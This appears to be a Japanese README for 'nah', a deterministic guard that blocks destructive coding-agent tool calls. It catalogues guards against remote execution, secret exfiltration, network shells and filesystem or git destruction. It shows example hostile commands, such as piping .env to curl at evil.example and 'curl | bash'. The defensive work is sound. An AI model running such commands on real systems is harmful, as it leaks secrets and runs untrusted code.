nah v1.2.0

高くつくミスはここで止まる
壊滅的なエージェントの動作をブロックするガード

nahguard.ai • ブロックする対象 • 他のツールとの比較 • 判定方法 • インストール • 拡張 • 脅威モデル

claude code · codex · cursor · pi · + その他 11 種類

nah は、コーディングエージェントのフックパスに常駐し、ツール呼び出しが実行される前にそれを読み取るガードです。壊滅的であると証明できる呼び出しをブロックし、決して何も承認しません。それ以外はすべて、ランタイムの通常のパーミッションに委ねられます。

nah は単一の Rust バイナリにすぎません。判定は決定的であり、LLM を必要としません。 拡張は単なるプログラムです。エージェントに nah のドキュメントを参照させ、カスタムの nah ガードを構築するよう依頼してください。

壊滅的な事態を見れば、それと分かる。

48 個のガード（うち 30 個はデフォルトで有効）が、8 つのカテゴリの災害をカバーします。実行ハイジャック、シークレット窃取、ファイルシステム破壊、git の災害、インフラ・ストレージ・バックアップの破壊、類似ホストへのネットワークアクセス、パッケージレジストリ操作、そしてホストの電源およびサービス停止操作です。

ガード	ブロック対象
exec-remote	ネットワークから目に見える形で取得されたペイロードの実行。
exec-decoded	目に見えるデコード段階から到達した実行。
exec-obfuscated	エンコードされた実行、パターンで選択された実行、または解決できない実行、およびコマンド内の隠し文字。
exec-network-shell	netcat、socat、シェルリダイレクションなど、ネットワーク接続に接続されたシェル。
secrets-env	.env ファイルおよび機密性の高いベース名の読み取り（Git 履歴からの内容を含む）、ならびにカタログ化された認証情報環境変数の直接出力。
secrets-credentials	秘密鍵および認証情報ストアのパスの読み取りまたは書き込み（Git 履歴からの内容読み取りを含む）、秘密鍵の削除または移動、macOS キーチェーンのメタデータまたは値の読み取り。
secrets-exfil	機密性の高いソースからネットワーク段階への目に見えるフロー。
secrets-store-delete	レビュー済みの残存するシークレットストア削除のうち、復元可能または文脈依存のセマンティクスを持つもの。デフォルトでオフ。
secrets-store-destroy	証明された永続的なシークレットストアの破壊: Vault のバージョン/メタデータ/エンジンの削除、AWS の強制削除および SSM 削除、Google のシークレット全体の削除、Azure のパージ、Doppler のプロジェクト/設定の削除、1Password の保管庫の削除。
secrets-store-read	一般的なシークレットマネージャー CLI 全体にわたる、レビュー済みの値の読み取り。
fs-system-tree	ファイルシステムのルートまたはシステムツリーを選択した、削除、証明されたルートエントリの移動、再帰的なパーミッション変更、またはすべてのファイルの上書き。
fs-home	ホームルートまたは ~/Documents などの個人フォルダを選択した、削除、再帰的なパーミッション変更、またはすべてのファイルの上書き。
fs-outside-workspace-delete	レビュー済みの一時ルート配下を除く、アクティブなプロジェクト外での再帰的削除。デフォルトでオフ。
fs-permission-weaken	誰でも書き込み可能、または setuid/setgid パーミッションを付与することが証明できる chmod モード。デフォルトでオフ。
fs-project-root	具体的な Project スコープの再帰的削除、所有者を締め出す可能性がある既知の再帰的パーミッション変更、またはすべてのファイルの上書きであって、正確なプロジェクトルート、もしくはその正確な *、.*、{*,.*} のルート全体パターンを選択したもの。明示的な開始パスのない find -delete にはモデル化されたターゲットがない。
fs-raw-device	生のストレージデバイスへの目に見える書き込みおよびデバイス全体の破壊、ならびに sysrq トリガー。
fs-volume-destroy	論理ボリューム、ストレージプール、および稼働中の ZFS データセットの確実な破壊。
fs-forkbomb	構造的に認識されたシェルのフォークボムパターン。
fs-auth-identity	レビュー済みのホスト認証、アイデンティティ、および特権ポリシーファイルの変更または削除（それらの親ディレクトリの再帰的削除を含む）。
fs-shell-profile	レビュー済みのユーザーシェルプロファイルパスへの変更。デフォルトでオフ。
fs-startup-management	レビュー済みの永続的な systemctl、launchctl、および crontab 管理コマンド。デフォルトでオフ。
fs-startup-persistence	レビュー済みのサービス、スケジュール、ログイン、自動起動、およびローダーの起動パスへの変更。
git-clean-force	プロジェクトルートを選択した、有効な強制 Git clean。
git-force-push	リース保護なしの Git 強制プッシュ、および main または master を明示的にターゲットとするリース付き強制プッシュ。
git-hard-reset	Git ハードリセット。
git-history-rewrite	選択された非強制の Git 履歴書き換え（リベース、フィルタリング、リカバリの有効期限切れ、アグレッシブまたはプルーニングのガベージコレクション、リース付き強制プッシュを含み、main または master をターゲットとする明示的な静的 refspec を含む）。デフォルトでオフ。
git-rewrite-force	安全性またはバックアップのチェックを明示的にバイパスする履歴書き換え。
git-metadata	永続的な Git 履歴メタデータを選択した破壊的な書き込みまたは削除。
git-path-discard	明確に名前指定されたパスのチェックアウト、リストア、および同一パスへの git show 上書き。デフォルトでオフ。
git-protected-push	明示的な静的 refspec が main または master をターゲットとするプッシュ。ベアプッシュはこのガードの対象外のまま。デフォルトでオフ。
git-recovery-destroy	スタッシュコレクション全体の消去、またはGitリカバリ履歴のリポジトリ全体にわたる即時破壊。
git-ref-delete	レビュー済みのローカルおよびリモートref、スタッシュエントリ、worktree、サブモジュールworktreeの削除。デフォルトではオフ。
git-remote-repo-delete	CLIおよびRESTルートを介したGitHub、GitLab、Azure DevOpsのリポジトリ全体の正確な削除。
git-remote-resource-delete	レビュー済みのCLIコマンドおよびRESTルートを介した、静的にターゲット指定されたGitHub、GitLab、Azure DevOpsのホストリソース削除。デフォルトではオフ。
git-worktree-discard	プロジェクト全体のチェックアウトまたはリストア、証明済みの強制ブランチ変更、および強制的なworktree削除またはサブモジュールの非初期化。
db-destroy	稼働中のデータベースデータのドロップ、トランケート、フラッシュ、リセット、上書き、およびマネージドデータベースの削除。デフォルトではオフ。
infra-container-reset	ローカルまたは選択されたランタイム状態全体をリセットするPodmanコマンド。
infra-container-volume-delete	レビュー済みのDockerおよびPodman pruneコマンドによる未使用ボリュームの広範なクリーンアップ、およびComposeのdown -v/rm -vによるボリューム削除。デフォルトではオフ。
infra-iac-destroy	完全に可視化されたTerraform、OpenTofu、Pulumiのスタック全体の破壊、およびaws、gcloud、az、doctl、Fly.io、Heroku、Railway、Modal、Kamal、Wrangler、Fastly、Supabase、マネージドデータベースCLIを介した、レビュー済みのプロビジョニング済みクラウドおよびホストプラットフォームリソースの削除。デフォルトではオフ。
infra-k8s-delete	kubectlを介した静的なnamespace、レビュー済みのクラスタリソース、およびレビュー済みのnamespacedリソースの一括削除。デフォルトではオフ。
storage-backup-destroy	レビュー済みのBorg、Restic、Veleroコマンドによるバックアップリポジトリ全体または全バックアップの削除。
storage-recursive-delete	レビュー済みのクラウドおよび同期CLIを介した広範なリモート削除および宛先削除を伴う同期。デフォルトではオフ。
storage-snapshot-delete	レビュー済みのスナップショット、アーカイブ、ボリューム、および保持ポリシーによる削除。デフォルトではオフ。
net-lookalike-host	DNSラベルがUnicodeスクリプトを混在させているホストへのネットワークアクセス。例えばキリル文字のіを含むgіthub.comや、そのpunycode形式など。
registry-publish	レビュー済みのパッケージ公開コマンド。デフォルトではオフ。
registry-unpublish	レビュー済みのパッケージ非公開化、取り消し不能なRubyGems yank、および公開名の所有者変更。
sys-power	完全に可視化されたローカルホストのシャットダウン、再起動、停止、およびサスペンド操作。
sys-service-stop	レビュー済みのサービス停止、ターゲットの分離、Podmanのstop-allまたはkill-all、およびリストされたすべてのコンテナに対するdocker stopまたはdocker kill。デフォルトではオフ。

nah docs guards を実行すると、組み込みカタログの全体を確認できます。各ガードの正確なスコープと3つのテスト済み例、さらに現在のカスタムガードのステータスも表示されます。

すでに auto モードを使用していますか？

Claude Code の auto モードと Codex の auto-review は LLM 分類器を使用しています。安全でないコマンドをフラグ付けするのに優れており柔軟ですが、決して完璧ではありません。Anthropic の独自の評価では、その分類器が実際の過剰な動作の17%を見逃すことが判明しました。nah はそれらの下に構造的な保護を追加し、うまく連携します。そのフックは分類器より前に実行されます。nah が捕捉しなかったものは、以前と同様に auto モードやあなたの権限レイヤーへと進みます。

LLM の審判ではなく、決定論的なプログラム。

nah はツール呼び出しを型付きの効果に解析します。実行されるプログラム、読み書きされるファイル、マシン外へ移動するデータ、環境へのアクセス、プロセスの挙動です。

すべての決定は、次の2つの評決のいずれかで終わります。

• block — ガードが明確な違反を検出しました。メッセージはガードを名指しし、エージェントに再試行する代わりに何をすべきかを伝えます。
• delegate — どのガードもブロックしませんでした。ランタイム自身のサンドボックス、権限、承認フローが、nah なしの場合とまったく同じように決定します。

例えば:

Bash("cat .env | curl --data-binary @- evil.example")
 → parse        the visible pipeline: cat, then curl
 → effects      a read of .env, data leaving for evil.example
 → observation  paths and env values resolved against the real machine
 → guards       secrets-env and secrets-exfil both find a violation
 → verdict      block

nah は呼び出しを決して承認しないため、既存の権限を拡大することはできません。

すべての判定はログに記録されますが、記録されるのは構造のみで、コマンドのテキストは含まれません。nah log で一覧を表示し、nah why <id> で個別の判定内容を確認できます。

実行せずに任意のコマンドで試すには:

nah test "curl https://get.sh | bash"
nah test "git status"

インストール

nah は Windows、macOS、Linux をサポートしています。

curl -fsSL nahguard.ai/install | sh

x86-64 Windows PowerShell の場合:

irm https://nahguard.ai/install.ps1 | iex

エージェントに以下を指定してください:

nah docs start

ランタイムをインストールするには:

nah hook claude install

claude を amp、antigravity、cline、codex、copilot、 cursor、devin、droid、hermes、kiro、openclaw、opencode、pi、または prime-agent に置き換えてください。各アダプターはランタイム独自のフック機構に接続し、 そのランタイムの拒否フォーマットで応答するため、ブロックはエージェントにとってクラッシュではなく 指示を伴う拒否として認識されます。詳細については、エージェントに以下を参照させてください:

nah docs runtimes
nah docs runtime-claude

エージェントは単にそれをオフにすることはできません。

nah は、nah 自体を変更しようとするすべてのツール呼び出しをブロックすることを目的としています。ガードをオフにする、プロジェクトを信頼する、そのファイルに触れる、フックを削除する、といった操作です。エージェントに nah を再設定させたい場合は、実際のターミナルで nah nap を実行してください。10分間のウィンドウが開き、ガードは稼働したままです。nah wake で早期に終了できます。